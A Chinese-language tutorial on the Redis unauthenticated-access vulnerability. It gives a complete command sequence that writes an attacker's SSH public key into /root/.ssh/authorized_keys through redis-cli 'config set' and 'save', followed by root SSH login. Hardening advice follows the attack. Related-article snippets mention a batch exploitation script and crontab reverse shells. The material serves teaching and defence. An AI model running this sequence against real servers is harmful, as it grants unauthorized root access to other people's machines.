关于Redis未授权访问漏洞利用的介绍与修复建议

前言

本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容,文中对该漏洞进行了详细,并给出了相对应的修复/安全建议,下面话不多说了,来一起看看详细的介绍吧。

一、漏洞介绍

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

漏洞描述

部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。

二、漏洞利用

首先在本地生产公私钥文件:

$ ssh-keygen –t rsa

然后将公钥写入 foo.txt 文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

连接 Redis 写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK

这里讲解下,这里设定了crackit的键值为公钥,并通过redis命令变更Redis DB 文件及存放地点为默认root用户SSH key存放文件,并将键值重定向追加到远程文件authorized_keys的末尾,也就上传了公钥。

这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:

$ ssh –i id_rsa root@192.168.1.11

可远程利用自己的私钥登录该服务器。

刚刚我们提到公钥登录和Redis持久化存放数据操作,这里简单讲下原理

详细讲解ssh登录–公钥登录

SSH提供了公钥登录,可以省去输入密码的步骤。

所谓"公钥登录",原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。

这种方法要求用户必须提供自己的公钥。如果没有现成的,可以直接用ssh-keygen生成一个:

$ ssh-keygen

运行上面的命令以后,系统会出现一系列提示,可以一路回车。其中有一个问题是,要不要对私钥设置口令(passphrase),如果担心私钥的安全,这里可以设置一个。

运行结束以后,在$HOME/.ssh/目录下,会新生成两个文件:id_rsa.pub和id_rsa。前者是你的公钥,后者是你的私钥。

通常这时再输入下面的命令,将公钥传送到远程主机host上面:

$ ssh-copy-id user@host

authorized_keys文件,远程主机将用户的公钥,保存在登录后的用户主目录的$HOME/.ssh/authorized_keys文件中。公钥就是一段字符串,只要把它追加在authorized_keys文件的末尾就行了。

详细相关的Redis持久化命令

Redis支持2种持久化策略:snapshot方式和commandlog方式,前者通过将当前内存数据快照周期性写入RDB文件来实现;后者通过在log中记录Redis进程收到的写操作来实现,下次Redis重启时,回放commandlog来恢复数据状态。

这里使用RDB文件写入SSH key文件,需要设置以下两个 RDB相关配置

dbfilename

指定RDB文件名,默认为dump.rdb

dir

指定RDB文件存放目录的路径,若包含多级路径,则相关父路径需事先mkdir出来,否则启动失败。

set(key, value):给数据库中名称为key的string赋予值value

最后Client使用save命令通知redis做一次快照持久化

修复建议/安全建议

1.禁止一些高危命令

修改 redis.conf 文件,添加

rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

来禁用远程修改 DB 文件地址

2.以低权限运行 Redis 服务

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

$ groupadd -r redis && useradd -r -g redis redis

3.为 Redis 添加密码验证

修改 redis.conf 文件,添加

requirepass mypassword

4.禁止外网访问 Redis

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

bind 127.0.0.1

5.保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

$ chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

# chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:

# chattr +i ~/.ssh

注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

总结

以上就是这篇文章的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对我们的支持。

(0)

相关推荐

  • redis密码设置、访问权限控制等安全设置

    redis作为一个高速数据库,在互联网上,必须有对应的安全机制来进行保护. 1.比较安全的办法是采用绑定IP的方式来进行控制. 复制代码 代码如下: bind 127.0.0.1 表示仅仅允许通过127.0.0.1这个ip地址进行访问.那么其实只有自己才能访问自己了,其他机器都无法访问他. 这段命令要去redis.conf里修改. 这里请注意 我们常用的启动方式src/redis-server 改为src/redis-server redis.conf 因为它需要加载配置文件. 这个方法有一点不

  • python脚本实现Redis未授权批量提权

    前言 本文主要给大家介绍了关于redis未授权批量提权的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧. 安装依赖 sudo easy_install redis 使用 redis python hackredis.py usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT] For Example: -----------------------------------

  • 关于Redis未授权访问漏洞利用的介绍与修复建议

    前言 本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容,文中对该漏洞进行了详细,并给出了相对应的修复/安全建议,下面话不多说了,来一起看看详细的介绍吧. 一.漏洞介绍 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据.攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Re

  • 解析Redis未授权访问漏洞复现与利用危害

    目录 一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: 2.漏洞的危害 3.漏洞的影响 二.漏洞复现: 三.未授权访问漏洞测试 0x01 利用redis写webshell 0x02 利用"公私钥"认证获取root权限 0x03利用crontab反弹shell 四.Pyhton脚本自动化测试 五.解决方案 于2019.10.9日补充 redis主从复制rce 于2021.01.02补充 ssrf,redis与gopher 参考文章: 一.漏洞简介以及危害: 1.什么是redi

  • 关于Redis未授权访问的问题

    目录 漏洞原理 利用条件 漏洞危害 漏洞复现 搭建测试环境 攻击机Kali 2021.1 利用redis写入webshell 利用redis反弹shell 利用redis写入ssh公钥 总结 漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读

  • Redis未授权访问配合SSH key文件利用详解

    前言 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的API. Redis 未授权访问的问题是一直存在的问题,知道创宇安全研究团队历史上也做过相关的应急,今日,又出现 Redis 未授权访问配合 SSH key 文件被利用的情况,导致一大批 Redis 服务器被黑,今天我们来简要的分析下. 一.漏洞概述 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有

  • SpringBoot Actuator未授权访问漏洞修复详解

    目录 1.写在前面 2.问题描述 3.安全问题 4.禁止方法 5.完全禁用Actuator 1.写在前面 目前SpringBoot得框架,越来越广泛,大多数中小型企业,在开发新项目得时候.后端语言使用java得情况下,首选都会使用到SpringBoot. 在很多得一些开源得框架中,例如: ruoyi若以,这些. 不知道是出于什么原因?我们都会在这些框架中得pom文件中找到SpringBoot Actuator的依赖. 嘿,这Actuator估计很多人都没有真真实实使用过,但是就会出现在pom文件

  • Zookeeper未授权访问测试问题

    前言 ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件.它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护.域名服务.分布式同步.组服务等. zookeeper 未授权访问是指安装部署之后默认情况下不需要任何身份验证,从而导致 zookeeper 被远程利用,导致大量服务级别的信息泄露. 默认使用端口:2181.2182. 探测Zookeeper服务开放 如使用nmap探测某个目标

  • 如何基于JWT实现接口的授权访问详解

    目录 什么是JWT JWT的结构 Header Payload Signature 解码后的JWT JWT是怎样工作的 在JAVA里使用JWT 引入依赖 JWTService 生成JWT 解码JWT 验证JWT 注册/登录 验证JWT API 总结 什么是JWT JWT(JSON Web Token)是一个开放标准(RFC 7519),它定义了一种紧凑且独立的方式,可以在各个系统之间用JSON作为对象安全地传输信息,并且可以保证所传输的信息不会被篡改. JWT通常有两种应用场景: 授权.这是最常

  • windows 2008 iis 提示401未授权 由于凭据无效,访问被拒绝

    401 - 未授权: 由于凭据无效,访问被拒绝.您无权使用所提供的凭据查看此目录或页面. 按照IIS默认向导配置完毕,访问时就是这种错误. 解决方案: 点开身份验证 改为启用就OK了 重启一下IIS. 如果你上在办法没有解决可参考 1.打开"IIS信息服务管理器"-->选择你发布的网站-->选择功能视图中的"身份验证"-->右键匿名身份验证,选择"编辑",选择"特定用户IUSR":2.右键要发布的网站文件夹,

  • 利用JWT如何实现对API的授权访问详解

    什么是JWT JWT(JSON Web Token)是一个开放标准(RFC 7519),它定义了一种紧凑且独立的方式,可以在各个系统之间用JSON作为对象安全地传输信息,并且可以保证所传输的信息不会被篡改. 「JWT」由三部分构成 信息头:指定了使用的签名算法 声明部分:其中也可以包含超时时间 基于指定的算法生成的签名 通过这三部分信息,API 服务端可以根据「JWT」信息头和声明部分的信息重新生成签名.之所以可以这样做,是因为生成签名需要的秘钥存放在服务器端. jwtauth.New("HS2

随机推荐